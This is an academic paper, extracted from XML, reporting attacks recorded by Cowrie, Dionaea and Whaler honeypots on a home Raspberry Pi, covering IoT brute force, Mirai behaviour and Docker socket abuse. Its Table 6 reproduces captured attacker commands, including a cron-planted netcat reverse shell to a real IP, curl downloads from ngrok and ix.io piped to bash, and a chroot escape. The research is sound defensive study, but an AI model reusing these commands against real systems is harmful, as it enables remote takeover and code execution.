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<article xmlns:xlink="http://www.w3.org/1999/xlink">
  <front>
    <journal-meta />
    <article-meta>
      <title-group>
        <article-title>A Report on the Security of Home Connections with IoT and Docker Honeypots</article-title>
      </title-group>
      <contrib-group>
        <contrib contrib-type="author">
          <string-name>Stefano Bistarelli</string-name>
          <email>stefano.bistarelli@unipg.it</email>
          <xref ref-type="aff" rid="aff0">0</xref>
        </contrib>
        <contrib contrib-type="author">
          <string-name>Emanuele Bosimini</string-name>
          <email>emanuele.bosimini@unipg.it</email>
          <xref ref-type="aff" rid="aff0">0</xref>
        </contrib>
        <contrib contrib-type="author">
          <string-name>Francesco Santini</string-name>
          <email>francesco.santini@unipg.it</email>
          <xref ref-type="aff" rid="aff0">0</xref>
        </contrib>
        <aff id="aff0">
          <label>0</label>
          <institution>Dipartimento di Matematica e Informatica, Universita di Perugia</institution>
          ,
          <addr-line>Perugia</addr-line>
          ,
          <country country="IT">Italy</country>
        </aff>
      </contrib-group>
      <fpage>5</fpage>
      <lpage>15</lpage>
      <abstract>
        <p>This paper collects information related to attacks that may a ect the security of home devices and software. In particular, we focus on i) IoT attacks, exploiting low energy consumption hardware or enhanced appliances, and ii) applications running in Docker containers, which is now a very common means to run lightweight virtual machines. To gather the attack information we adopt honeypots, i.e. programs that simulate well-known services and protocols, or systems that can be targeted by bots or malicious people. Honeypots log all the activity performed on their interface, without implementing the service completely. We use three di erent honeypots (Cowrie, Dionaea, and Whaler ), each of them able to simulate di erent services. All of them are installed on a Raspberry Pi by using di erent virtualisation technologies, and exposed to the world through a simple home data-connection. Information is then processed, queried, and visualised by using ELK.</p>
      </abstract>
    </article-meta>
  </front>
  <body>
    <sec id="sec-1">
      <title>Introduction</title>
      <p>
        In this paper, we investigate the security of home data-connections, to which all the
aforementioned systems are connected to in a modern house. To do this, we take advantage of
honeypots [
        <xref ref-type="bibr" rid="ref14">14</xref>
        ]. Honeypots are hardware/software components used as \baits" to attract attackers:
their purpose is to expose only the vulnerable interface of a complete service (e.g., Telnet) or
device, without implementing all their logic and functionality. Honeypots can therefore be used
to attract and record attacks by identifying the underlying patterns.
      </p>
      <p>
        The study has been conducted by installing three di erent honeypots on a Raspberry Pi [
        <xref ref-type="bibr" rid="ref19">19</xref>
        ]
through di erent virtualisation technologies: such software are Cowrie, Dionaea, and Whaler.
We use a Raspberry device because honeypots have to be up and record activity for several
weeks, and thus it is preferable to use a low-power device. Moreover, we adopt several honeypots
because there exists no single solution that can track all the services we want to monitor.
      </p>
      <p>After gathering enough information about attacks, we take advantage of the Elastic Stack
(ELK ) to process data and extract useful information about the security of smart-houses.4
ELK is a group of open source products designed to help users take data from any type of
source and in any format and search, analyse, and visualise that data (also in real time).</p>
      <p>The paper is organised as follows: in Sect. 2 we describe the software tools we use to collect,
process, and visualise data about the security of IoT protocols and Docker containers. In Sect. 3
we report the main results we extracted from running the honeypots for some weeks. Finally,
Sect. 4 wraps up the paper with nal conclusions and future work.
2</p>
    </sec>
    <sec id="sec-2">
      <title>Background</title>
      <p>In this chapter we will describe all the necessary elements that have served us in order to carry
out the study and to obtain the desired results.
2.1</p>
      <sec id="sec-2-1">
        <title>Honeypots: Log Sources</title>
        <p>
          Each honeypot has its own characteristics: emulable services, level of interaction with the
attacker, quality of the information collected. For this reason, we decided to install three
di erent kinds of honeypots in order to evaluate as more threats as possible. Honeypots may
o er di erent levels of interaction, depending on how much they are closer to the real service, or,
on the contrary, how much they o er higher level abstractions of it. We call medium-interaction
honeypots the ones that take advantage of low-interaction honeypots, and some functions of
high-interaction honeypots. Cowrie [
          <xref ref-type="bibr" rid="ref5">5</xref>
          ] (version 1.5.1) is a medium-interaction honeypot based
on Kippo.5 It is used to emulate services often present on IoT devices such as SSH and Telnet.
It provides a full-bodied le system and an evolved shell compared to its predecessor. These
characteristics make it possible for the aggressor to take full advantage of it. Thanks to the
onscreen response to commands like wget and gcc, the attacker actually believes he compiles the
malware sources, which are instead saved on a separate le system that is not directly accessible.
The attacker can upload les via SFTP and SCP. Cowrie not only records all attacks in plain
log-format but also in JSON. A large amount of information is recorded: for instance, the
used port, the commands relating to the session, the IP address of the attacker and the attack
timestamp.
        </p>
        <p>
          Dionaea [
          <xref ref-type="bibr" rid="ref18">18</xref>
          ] (version 0.7) is a low-interaction, server-side honeypot that emulates a
vulnerable system. Even in this case the attacker can upload malware, which can be later analysed.
It supports a wide range of protocols including SMB, HTTP, FTP, TFTP, MySQL, SIP [
          <xref ref-type="bibr" rid="ref1">1</xref>
          ]
        </p>
        <sec id="sec-2-1-1">
          <title>4Elastic Stack: https://www.elastic.co/products/. 5Kippo: https://github.com/desaster/kippo.</title>
          <p>Honeypot
Cowrie
Whaler
Dionaea
Dionaea</p>
          <p>Protocol
TCP
TCP
TCP
UDP</p>
          <p>
            Ports
22 (SSH),23 (Telnet)
2375 (Docker Unencrypted Socket)
21 (FTP), 42 (WINS replication), 135 (msrpc), 443 (HTTPS), 445 (SAMBA)
1433 (ms-sql), 1723 (PPTP), 1883 (MQTT), 3306 (mysql)
5060 (sip), 5061 (sip-tls), 8081 (HTTP alternative), 11211 (memcache)
69 (TFTP), 5060 (sip), 1900 (UPnP), 5061 (sip-tls)
(VOIP) (but not SSH and Telnet, for which we use Cowrie). In addition, it is possible to
emulate protocols typical of current IoT-based home-environment, such as SmartTV, CCTV,
or game consoles (e.g., PlayStation [
            <xref ref-type="bibr" rid="ref6">6</xref>
            ] and XBOX [
            <xref ref-type="bibr" rid="ref10">10</xref>
            ]). These protocols are UPnP (Universal
Plug and Play ), MQTT [
            <xref ref-type="bibr" rid="ref11">11</xref>
            ] (Message Queue Telemetry Transport ) and XMPP [
            <xref ref-type="bibr" rid="ref17">17</xref>
            ]
(Extensible Message Passing Protocol ). UPnP [
            <xref ref-type="bibr" rid="ref12">12</xref>
            ] is a set of protocols which allows devices such as
computers, printers, routers or cameras to discover each other presence and establish network
services for data sharing, communications, and entertainment. MQTT is a simple messaging
protocol, designed for constrained devices with low-bandwidth. It allows for sending commands
to control outputs, read and publish data from sensor nodes. XMPP identi es a set of open
technologies for instant messaging, presence, multi-party chat, voice and video calls,
collaboration, lightweight middle-ware, and generalised routing of XML data. Thanks to the emulation
of SMB, Dionaea is also e ective for the detection of worms as WannaCry [
            <xref ref-type="bibr" rid="ref2">2</xref>
            ].
          </p>
          <p>
            Finally, Whaler [
            <xref ref-type="bibr" rid="ref16">16</xref>
            ] is a Docker honeypot which is composed by three di erent containers
named victim, agent and capture. The victim container is a privileged Docker in Docker (DinD )
container.6 There is an internal vulnerable daemon exposed on port 2375. The container runs as
privileged, so it is a desirable target. The agent container logs full details of the container being
started (including start-up command and parameters), it performs a di against the original
image, and it resets the system for the next attack. The capture container implements tcpdump
to analyse in future what happened inside the victim container from pcap les. The original
version of Whaler redirects the logs to the Logz.io platform.7 We o er a slightly di erent
approach, and we redirect them to a local processing pipeline (see Sect. 2.2).
          </p>
          <p>To conclude this section, in Tab. 1 we summarise all the ports of the services emulated by
the three chosen honeypots, which we exposed and logged during out experiments.
2.2</p>
        </sec>
      </sec>
      <sec id="sec-2-2">
        <title>Log Management and Data Visualisation Tools</title>
        <p>The stack of programs that we use in our analysis is a collection open-source products including
Elasticsearch, Logstash and Kibana. These three di erent products are commonly used in log
analysis in IT environments. Logstash collects and analyses the logs, then Elasticsearch indexes
them and stores information. Kibana nally presents the data in a dashboard. A fourth
component is Beats, which is a platform for single-purpose data shippers.</p>
        <p>Logstash allows for collecting data from multiple systems, where data can then be analysed
and processed according to one's needs. The main components of Logstash are three: \input",
\ lter" and \output". \Input" is the source of information, which can be of any form (Database,
File, Stream). Multiple sources can coexist with each other and at the same time. \Filter"
is a parser capable of transforming data. When data is collected by the \input" component,
events are ltered using plug-ins, and converted to another format. There is also the possibility
6To run the Docker daemon inside a container: https://github.com/jpetazzo/dind.
7Logz.io: https://logz.io.
of creating new data starting from the initial ones. The use of lters is very important to
determine additional information on the origin of the attacks. \Output" ensures that collected
and transformed data is redirected to one or more destinations, even simultaneously. In the
most common case, like ours, we transfer the modi ed data to Elasticsearch.</p>
        <p>
          Elasticsearch [
          <xref ref-type="bibr" rid="ref7">7</xref>
          ] is a full text search engine based on Lucene, a project supported by the
Apache Software Foundation. It creates indexes on all types of documents. All eld properties
are automatically detected and indexed by default. Using a RESTful API, it is possible to
perform CRUD operations: create, read, update, and delete are the four basic functions of
persistent storage.
        </p>
        <p>
          Last but not least, Kibana [
          <xref ref-type="bibr" rid="ref8">8</xref>
          ] is a dashboard designed to display data stored on Elasticsearch.
It allows creating a dashboard and perform advanced data analysis and visualise data in a variety
of charts, tables, and maps. Its simple, browser-based interface enables a user to quickly create
and share dynamic dashboards.
3
        </p>
      </sec>
    </sec>
    <sec id="sec-3">
      <title>Attack Analysis</title>
      <p>We split the section in two, describing the experiment to test the security of IoT devices
(Sect. 3.1) and Docker containers (Sect. 3.2). To enhance the security of the selected three
honeypots, due to their exposition to attacks, we decided to dockerise them: a Docker container
provides a layer of isolation w.r.t. the underlying operating system. A container version also
simpli ed the installation and removal of honeypots.
3.1</p>
      <sec id="sec-3-1">
        <title>IoT Attacks (Cowrie and Dionaea)</title>
        <p>The study carried out with these two honeypots focuses on the identi cation of IoT attacks
starting from the collected metadata, and trying to identify their origin when possible. In order
to achieve this, we left Dionaea and Cowrie active for a period of about two months: between
mid-November and February 2019, with a one-month break between December and January,
with the purpose to avoid di erent distribution of tra c due to holidays in many countries. In
order to homogenise the results, we used Logstash (Sect. 2.2) to raise the events from multiple
sources, to transform them, and merge the relative metadata to a single destination. This large
amount of metadata (IP addresses, types of services, credentials, DNS, malware signatures) is
queried and analysed with the purpose to identify the patterns of interaction.</p>
        <p>
          We monitored all the services that Cowrie and Dionaea are able to log from Tab. 1, and
among them, we can distinguish through a set of parameters whether an attack is IoT or not,
including the behaviour of the malware. The goal of the attacks is clearly to take control of the
device. The attack phase generally takes place in two steps: the scanning of the devices to be
infected and the actual execution of the attack. Both phases are executed and managed by a
program which is Command and Control (CnC). This program scans IP addresses and, if it nds
one, it tries to connect to it by using a set of default credentials. If the combination of malware
credentials turns out to be right, the CnC transmits the malware to the device. Once executed,
the compromised device waits for any orders from the CnC. We can distinguish di erent IoT
malware families according to which ports they scan and which default credentials they use.
However, the attack pattern generally remains the same. In addition to malware behaviour,
we can identify other characteristic traits of IoT attacks, such as the default dictionaries and
the commands that are executed. The attacked port is a necessary but not su cient condition
to determine the type of attack. Attacks against the SSH protocol should be ltered for the
combination of attempted credentials. If the device has been successfully accessed, it is also
useful to combine the various scripts and commands. For example, an attack that includes
the execution of busybox 8 associated with the SSH service is an IoT attack for us, since it is a
conventional Mirai-malware behaviour [
          <xref ref-type="bibr" rid="ref13">13</xref>
          ], a well-known threat.
        </p>
        <p>Fig. 1 shows IoT attacks that didn't come from anonymous IP addresses. About 20; 000
attacks on IoT devices have been recorded, including 10; 000 from America, then Europe and
nally Asia. In Fig. 2 we use lters to precisely locate the IP address of the attacker in a
country.</p>
        <p>In Fig. 3 we show all the attacks that Cowrie and Dionaea received, not considering only IoT
attacks as previously introduced. By comparing Fig. 2 and Fig. 3, most of the countries with
more attacks correspond, such as USA, England, Russia and the Netherlands. On the other
hand, the result about China in Fig. 2 indicates a greater interest in attacking IoT protocols.</p>
        <p>In Fig. 4 we show a chart ltering out all the attacks except those directed towards the
MQTT protocol. At the rst place we have USA, followed by China.</p>
        <p>In Tab. 2 we detail the attacks coming from the top 10 of the states that performed IoT
attacks. We ltered the number of attacks based on some peculiarities that only concern IoT
devices. For example, to lter the number of SSH attacks, we categorised them by the credentials
that are used for IoT malware; in the following we report the malware the honeypots received
during the experiment described in this paper.</p>
        <p>We notice that the largest number of SSH attacks were carried out by IP addresses in the
U.K. (24; 945), and the prevailing approach that used things to connect to this service is
bruteforce, commonly used by Mirai. This attack vector attempts to access a device by using a list
of well-known default account-credentials, as reported by the Mirai source code.9</p>
        <p>
          Devices such as gaming consoles, Small-O ce Home-O ce routers [
          <xref ref-type="bibr" rid="ref9">9</xref>
          ], and Smart TVs use
port 80 and 8080. Moreover, they regularly have Web-servers enabled, which automatically
forward using UPnP. The Netherlands is the country with the largest number of attacks to this
service (15; 322). United Kingdom follows with 14k attacks, and China with 4k attacks.
        </p>
        <p>Although many IoT devices have switched to SSH, we have found a large amount of Telnet
attacks from the United States, about 34k, followed by China (3; 779), and China with 2; 035.</p>
        <p>
          MQTT brokers are vulnerable to syn ood attacks. Through the Shodan [
          <xref ref-type="bibr" rid="ref3">3</xref>
          ] search engine
it is possible to identify and geolocalise MQTT brokers without encryption. By adopting this
technique, we discover that United States is the country with the largest number of MQTT
attacks (4; 270), followed by China (12).
        </p>
        <p>Many devices like cameras, consoles and routers use UPnP for simplicity reasons. Thanks
to this protocol, it is possible to facilitate their ability to automatically detect other devices on
a local network, in order to communicate and share data. The main problem with this protocol
is security, as the devices can be exploited for Denial of Service attacks, becoming proxies and
making botnet searches di cult. As we can see in the Tab. 2, surprisingly we have a large
amount of UPnP attacks from Brazil, about 75k, much more than the other countries.</p>
        <sec id="sec-3-1-1">
          <title>9Mirai: https://github.com/jgamblin/Mirai-Source-Code.</title>
          <p>Commands
/bin/busybox/ecchi
rm /.t; rm/.sh; rm /.human
rm /dev/.t; rm /dev/human
/bin/busybox rm /.nippon
cat binfmt misc/.nippon;</p>
          <p>In order to understand who really attacked our honeypots, we use DNS. To deduce, when
possible, the names of the servers, we used Logstash to translate IP addresses as names, and
use tools like the command line and the Shodan search engine. As shown in Fig. 5, 42:53% of
attacks come from a private IP address. The underlying idea behind these attacks is to exploit
the potential of anonymous proxies, in order to transform a single-source DoS attack into a
distributed one (DDoS), making it much more di cult to mitigate it. The anomalous tra c
sources are generally blacklisted according to the country of origin. However, by exploiting
anonymous proxies, the attack not only spreads over more IPs, but also over multiple
geographical areas, making blacklisting useless. The private IP address shown in Fig. 5 denotes an
anonymous proxy. This kind DDoS tra c emerging from public proxies point to anonymisers
is known as \Shotgun" DDoS attack.10</p>
          <p>Most attacks against the Telnet protocol, as shown in Fig. 6, come from the private IP. This
system covers 45% of total attacks. In second place we have as hostname hostby.channelnet.ie.
This bot launches automatic XSS and SQL-Injection attacks, according to Abuseipdb11. It also
attempts to access vulnerable SSH devices.</p>
          <p>If an IoT device has an active SSH service and a combination of credentials compatible with
the bot dictionary, then it becomes accessible. Table 3 displays which commands are most used
for Telnet and SSH sessions collected by Cowrie honeypot. Table 4 shows the list of the ve
most common passwords used to access the systems using the SSH protocol. Combining the
credentials and the commands executed once we have access to the device, we have obtained
interesting results. If we analyse Mirai, we have a perfect correlation between the passwords
and the commands registered with those present in the source code.</p>
          <p>Attack vector
Bruteforce
UPnP exposed to WAN
Unencrypted MQTT
RCE</p>
          <p>Attack Type
DoS
NAT Injection, DoS
MITM
CryptoJacking</p>
          <p>Malware Families
Mirai, Ircbot
n.a.
n.a.
n.a.</p>
          <p>Finally, we are interested in the percentage of infections grouped by country, in order to
understand the \most famous" malware per state. As we can see in Fig. 7, Mirai-sj is the most
downloaded infection compatible with IoT systems, whose main origin is the United States,
followed by Romania. As seen in Tab. 2, UK performed a great deal of IoT attacks on the
SSH port, even though we did not nd any traces of malware. Another detected malware is
downloader-js, is a Trojan horse that downloads malicious les from websites and runs them.
The origin of this malware mostly comes from the United States and Germany. The third
malware is trojan-generic, and that comes from Singapore. However it is not classi able as IoT
due to the lack of useful information. The fourth malware is perl:ircbot-d. It exploits
CVE2017-1000117 12 to distribute an Internet Relay Chat (IRC) bot. This vulnerability enables
attackers to pass a crafted ssh://... URL to victims and execute programs on their devices.
The malware is cross-platform and also a ects IoT devices. As for the classi cation of IoT
attacks, we managed to classify 82% of the events received. Table 5 presents a classi cation of
all the presented attacks based on their nature.
3.2</p>
        </sec>
      </sec>
      <sec id="sec-3-2">
        <title>Docker Attacks (Whaler)</title>
        <p>
          This honeypot remained active in June 2019: during this period, about 50 di erent IP addresses
installed a container on this honeypot at least once; some of them were installed for malicious
purposes. For each container Tab. 6 lists the related image, the origin of the attack, the
commands and any changes in the le system. Among the various containers installed, we
decided to include in the table the most interesting ones, i.e., with more information to be
analysed. As we can see in Tab. 6, in the rst container the attacker plans the execution of
some commands with the purpose to open a shell. Something rather curious, given that using
the command docker exec -it \container id" bash you obtain the same result. However, it is
more di cult to get information from a reverse shell than using the Docker primitives. We
deduce that the attacker wants to exploit the o ered aw more silently. In the second container
in Tab. 6, the attack is more explicit. A local HTTP tunnel has been created so that a web
server can be exposed in a simple way. Thanks to it, the attacker moves a le that can ne
executed using the crond service. The third container apparently has less explicit information:
no commands and changes to the host les. Instead, it is crucial to understand how the attackers
exploit such loopholes to launch containers capable of producing Bytecoin [
          <xref ref-type="bibr" rid="ref4">4</xref>
          ] or Monero [
          <xref ref-type="bibr" rid="ref15">15</xref>
          ],
or any other crypto-currency that uses the cryptonight algorithm. Since Docker supports IoT
devices, if this service is available and exposed, containers of this type can be furtively installed.
The fourth case corresponds to a busybox container, which can be exploited for DDoS attacks
like the Mirai botnet. In this case, no sequence of commands to execute malware was recorded.
Hence, we deduce that it was just a test. The last container is the one that really exploits
the aw as stated on the exploit-db13 site. It uses the exposed socket to create a container
mounted on '/' with read and write permissions. Then, an attacker may use chroot to exit the
container-jail. As we can see in Fig. 8 by using the Kibana dashboard, the greatest number of
attacks registered by Whaler comes from Europe, followed by America and Asia, mainly China.
Image
alpine:latest
alpinecurl:0.1.6
miner:latest
        </p>
        <p>City
Los
Angeles
Amsterdam
Los
Angeles
busybox:latest Shangai</p>
        <p>sh
alpine:latest</p>
        <p>Denver</p>
        <p>Cmd
echo '* * * * * /usr/bin/nc 94.37.210.156 21 -e
/bin/sh' &gt;&gt;/tmp/etc/crontabs/root</p>
        <p>Host File Changes
/etc/crontabs
/etc/crontabs/root
curl {retry 3 -m 60 -o
/tmp7ad4e9/tmp/tmp le6 e
"http://d81bbf05.ngrok.io/f/serve?l=d&amp;r=6 e";
echo "* * * * * root sh /tmp/tmp le6 e" &gt;
/tmp7ad4e9/etc/crontab;
echo "* * * * * root sh /tmp/tmp le6 e " &gt;
/tmp7ad4e9/etc/cron.d/1m;
chroot /tmp7ad4e9 sh -c "cron jj crond"
none
chroot /mnt /bin/sh -c curl -s -L
http://pewp.5gbfree.com/ip.php &gt;/dev/null;
curl -s -L http://ix.io/1K8E j bash -s;</p>
      </sec>
    </sec>
    <sec id="sec-4">
      <title>Conclusion and Future Work</title>
      <p>With the help of the ELK stack we were able to collect valuable information as the most used
credentials, locate and enumerate IP addresses. The GeoIP lter of Logstash was essential
to analyse the frequency and geographical distribution of attacks on IoT services. Three years
after the DDoS attack performed by the Mirai botnet, the passwords associated with the attacks
we logged are exactly the same as those used by the homonymous malware. If such obsolete
malware continues to spread after all this time, it means that the security levels of our devices
that we have at home is very bad. The safety of these smart devices should be implemented
by default as they create a bridge between the physical and the connected world for a user.
For this reason, the identi cation of devices can be simpli ed. Even when models or rmware
versions are vulnerable, detecting such devices on the network can be particularly di cult. To
mitigate this problem, IoT device manufacturers may adopt a uniform method to identify the
version of the model and rmware on the network, for example, by coding them in a portion of
the MAC address of the device. Thanks to this arrangement, the device would be visible to the
user's home router, which could disable remote access until a security patch is released. In the
future we plan to work on the prediction of attacks, by rst preprocessing the datasets collected
during the study and then trying to classify attacks using the collected metadata, from which
we will extract the features. In this way, it will be possible to improve the heuristics of future
Intrusion Detection Systems.</p>
    </sec>
    <sec id="sec-5">
      <title>Acknowledgements</title>
      <p>This work has been supported by project \Rappresentazione della Conoscenza e Apprendimento
Automatico (RACRA) (\Ricerca di base" 2018{2020). We also thank \Gruppo Nazionale per il
Calcolo Scienti co" (GNCS-INdAM, \Istituto Nazionale di Alta Matematica") for supporting
this research line.</p>
    </sec>
  </body>
  <back>
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